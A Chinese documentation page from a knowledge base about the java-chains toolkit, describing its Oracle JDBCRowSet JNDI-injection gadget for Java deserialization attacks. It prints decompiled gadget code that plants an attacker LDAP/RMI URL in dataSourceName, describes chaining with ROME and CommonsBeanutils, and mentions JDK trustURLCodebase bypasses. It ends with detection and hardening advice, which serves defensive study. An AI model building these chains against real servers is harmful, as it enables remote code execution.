Skip to content

Latest commit

 

History

History
110 lines (83 loc) · 9.69 KB

File metadata and controls

110 lines (83 loc) · 9.69 KB

Oracle DataSource JNDI(OracleJDBCRowSet)

  • 类别javanative 别名:(无) 优先级:(未设定)
  • 作者:—
  • 依赖oracle(需目标环境存在 Oracle JDBC 驱动,含 oracle.jdbc.rowset.OracleJDBCRowSet,通常来自 ojdbc*.jar
  • 实现com.ar3h.chains.common.Gadget;标注 @Deprecated

作用

一句话:构造一个 oracle.jdbc.rowset.OracleJDBCRowSet 实例,将其 dataSourceName 字段设为攻击者可控的 JNDI 地址;当该 RowSet 后续被某个 setter 路径驱动去建立连接时,会以 dataSourceName 为名做 JNDI 查询,从而触发 JNDI 注入(RMI/LDAP 远程加载),最终 RCE 或探测。

本 gadget 是 java-chains「DataSource JNDI」家族中的 Oracle RowSet 变体之一,与同目录的 OracleCachedRowSet / OracleJoinRowSet / OracleFilteredRowSet / OracleWebRowSet 同构,区别在于触发方式(本类为 Setter,其余多为 Getter)。它是链尾END)构件,本身不再向内包裹其它对象。

链接标签

  • 入口 tagsDataSourceChainsSetterEND
    • DataSourceChains:表明本 gadget 属于「DataSource JNDI」这一类可被 DataSource 驱动器承接的落点。上游凡 nextTagsDataSourceChains 的 gadget(如 ROME 系列 Rome1/Rome2/Rome3/Rome4 等)即可与其相连。
    • Setter:表明本 gadget 需要上游以调用 setter的方式来触发(对比同族的 OracleCachedRowSet 使用 Getter)。
    • END:链尾标记。本 gadget 自身产出最终对象、不再有更内层节点(invoke 中不调用 chain.doCreate)。
  • 衔接 nextTags:(空)—— 作为 END 落点,没有下一环。
  • excludes:(空)。

机制提示:tags 表示「本 gadget 能承接的上一环所提供的标签」,nextTags 表示「本 gadget 之后可接哪类 gadget」。本类 nextTags 为空即印证其链尾定位。

源码剖析

完整反编译源码(CFR):

@GadgetTags(tags={"DataSourceChains", "Setter", "END"})
@GadgetAnnotation(name="Oracle DataSource JNDI",
        description="oracle.jdbc.rowset.OracleJDBCRowSet\n需要setter触发",
        dependencies={"oracle"})
@Deprecated
public class OracleJDBCRowSet implements Gadget {
    @Param(name="jndi地址")
    public String jndiUrl = "ldap://127.0.0.1:1389/x";

    public Object getObject() throws Exception {
        Object datasource = Reflections.newInstance("oracle.jdbc.rowset.OracleJDBCRowSet", new Object[0]);
        Reflections.setFieldValue(datasource, "dataSourceName", this.jndiUrl);
        return datasource;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);
        return this.getObject();
    }
}

逐段解释:

  • getObject() — 构造落点对象

    • Reflections.newInstance("oracle.jdbc.rowset.OracleJDBCRowSet", ...):以反射方式实例化 Oracle 的 RowSet 实现类(用反射而非直接 new,避免 java-chains 自身编译期强依赖 Oracle 驱动;类只需在目标运行时存在)。OracleJDBCRowSetjavax.sql.RowSet/DataSource 体系下的实现。
    • Reflections.setFieldValue(datasource, "dataSourceName", this.jndiUrl):直接反射写入实例的 dataSourceName 字段(绕过任何 setter 校验)。这个字段正是 Oracle RowSet 在建立连接时用于 JNDI 名称查找的键。一旦连接流程被触发,内部会以 dataSourceName 作为名字向 JNDI 上下文 lookup,攻击者把它设成 ldap://.../xrmi://.../x 即可远程加载恶意对象。
  • invoke() — 组链入口

    • context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class):向 GadgetContext 写入「本落点对象应以 javax.sql.DataSource 接口类型对待」的提示。上游驱动型 gadget(例如 ROME 的 ToStringBean/EqualsBean 封装,读取 SUPER_CLASS_NAME_KEY 以决定代理/反射时使用的接口,见 RomeToStringBean1Rome1 等对该键的 context.get 消费)据此把该对象当作 DataSource 来触发其连接方法。
    • return this.getObject();注意本方法不调用 chain.doCreate(context),直接返回自身构造的对象。这与链尾 END 定位一致——它是被包裹的最内层落点,由上游负责把它安放到能触发 setter/连接的位置。
  • 与同族 Getter 变体的关键差异(触发方式) 对比同目录 OracleCachedRowSet.invoke(),后者额外写入:

    context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
    context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");

    即明确告诉上游「调用 getConnection() 这个 getter(属性名 connection)来触发 JNDI」。而 OracleJDBCRowSet 不设置这两个键,其 tagsSetter 而非 Getter——因此它依赖上游以 setter 语义驱动 RowSet 进入连接流程,故 @GadgetAnnotation.description 写明「需要 setter 触发」。这也是同族中它相对少用、并被标 @Deprecated 的原因:Getter 变体(OracleCachedRowSet 等)在常见 CB/ROME 上游下更易稳定触发。

说明:oracle.jdbc.rowset.OracleJDBCRowSet 属于 Oracle 专有驱动,不在本知识库 反编译范围内。上文对「dataSourceName → JNDI lookup」的机理描述基于该家族公开的 JNDI 注入原理与 java-chains 的用法约定;确切的内部触发方法名以目标 ojdbc 版本实现为准。

参数(@Param)

字段 名称 说明 类型 默认值 可选值
jndiUrl jndi地址 恶意 JNDI 服务地址;写入 RowSet 的 dataSourceName,连接时被 lookup。格式 [rmi|ldap]://host:port/obj String ldap://127.0.0.1:1389/x (无枚举)

适用版本与原理要点

  • 依赖:目标 classpath 需含 Oracle JDBC 驱动且包含 oracle.jdbc.rowset.OracleJDBCRowSet(历代 ojdbc6/7/8/10/11 系列 rowset 包)。java-chains 侧仅以字符串反射引用,不打包 Oracle 依赖。
  • 本质:这是一条 DataSource/RowSet 型 JNDI 注入落点,等价于 JdbcRowSetImpl 的 Oracle 变体——把可控 JNDI 名塞进 RowSet,再借助反序列化/表达式/ROME 等上游在服务端触发连接,从而 InitialContext.lookup(恶意地址)
  • JNDI 注入可利用性受 JDK 版本约束:高版本 JDK(com.sun.jndi.rmi.object.trustURLCodebase/ldap.object.trustURLCodebase 默认 false,JDK 8u191+/11.0.1+ 起)默认禁止从远程 codebase 加载 factory 类,需改用本地可用 factory(如 tomcat BeanFactory + EL、或 LDAP 返回可反序列化对象)等绕过手法,而非直接远程类加载。
  • 触发方式坑点:因用 Setter 触发,需要上游确实会对该 DataSource 调用能进入连接逻辑的 setter;在部分上游(如 fastjson 只调用部分 setter/getter)下可能触发不到连接流程——与之对应,同族的 Getter 变体 OracleCachedRowSet 的 description 就提示「fj 可能触发不到 getConnection 就退出了,用 cb 最好」。选择 Setter 还是 Getter 变体应视上游驱动器而定。
  • @Deprecated:作者已标记弃用,实战优先考虑 OracleCachedRowSet / OracleJoinRowSet 等 Getter 变体或通用的 JdbcRowSetImpl

所属预设链

usedInChains 为空——自由构件,未直接出现在 51 条预设链中。可按标签自行组合:任何 nextTagsDataSourceChains 的上游(如 ROME 系列)+ 本落点,构成「原生/Hessian 反序列化 → DataSource 驱动 → Oracle RowSet JNDI」链。

关联

  • 同族(Oracle RowSet JNDI 落点)
  • 通用 JNDI 落点参照JdbcRowSetImpl(JDK 内置 com.sun.rowset.JdbcRowSetImpl,机理相同,不依赖 Oracle 驱动)。
  • 典型上游(nextTags=DataSourceChains:ROME 系列 Rome1/Rome2/Rome3/Rome4RomeToStringBean1/2RomeEqualsBean1/2 等;以及 CommonsBeanutils 系(经 Getter 驱动 DataSource)—— 参见 CommonsBeanutils1
  • 上下文键消费方:读取 SUPER_CLASS_NAME_KEYRomeToStringBean1Rome1 等,据此以 DataSource 接口类型驱动本落点。

防御与检测

  • 检测特征
    • 反序列化流量/堆中出现 oracle.jdbc.rowset.OracleJDBCRowSet(或同族 Oracle*RowSet)实例,且其 dataSourceName 字段为 ldap:///rmi:// 等外部 URL——高度可疑。
    • 应用进程向外发起非预期的 LDAP(389/1389)/RMI(1099) 出站连接,尤其伴随 JDBC/RowSet 调用栈(javax.sql.RowSetInitialContext.lookup)。
    • 反序列化白名单命中 oracle.jdbc.rowset.*com.sun.rowset.JdbcRowSetImpl
  • 加固建议
    • 反序列化入口启用类白名单(ObjectInputFilter / JEP 290),禁止 oracle.jdbc.rowset.*com.sun.rowset.JdbcRowSetImpl、ROME com.rometools.* 等已知跳板。
    • 保持 JDK 补丁版本(8u191+/11.0.1+),确认 com.sun.jndi.*.object.trustURLCodebase=false(默认),并限制/审计出站到 LDAP/RMI 的网络访问(egress 白名单)。
    • 移除或隔离不必要的 Oracle RowSet / JNDI 能力;对 JNDI lookup 的名称来源做校验,禁止使用外部可控的 dataSourceName
    • 使用 SCA 排查是否存在受影响的 ojdbc* 与 ROME 依赖,按需升级或收敛可达性。